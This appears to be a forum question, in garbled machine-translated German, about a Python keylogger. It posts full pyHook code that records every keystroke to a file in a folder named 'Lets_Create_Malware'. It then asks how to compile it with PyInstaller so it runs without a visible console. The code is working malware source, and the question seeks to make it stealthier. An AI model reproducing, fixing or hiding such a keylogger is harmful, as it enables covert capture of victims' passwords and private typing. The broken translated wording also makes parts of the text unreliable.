Ich habe Python-Datei, mit .pyw gespeicherte Konsole konvertierenPyinstaller mit -noconsole Verwendung gibt Pop-ups statt
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Lets_Create_Malware\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Dann mit pyinstaller ich zu unterdrücken, .exe,
c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
aber wenn doppelklicken auf die .exe, erhalte ich Konsole
ich versuchte --no Konsole Option, das heißt
c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw
Aber wenn ich die .exe doppelklicken, ich Reihe von lästigen Pop-ups, die ich mit dem Task-Manager beenden müssen.
Wie zu beheben?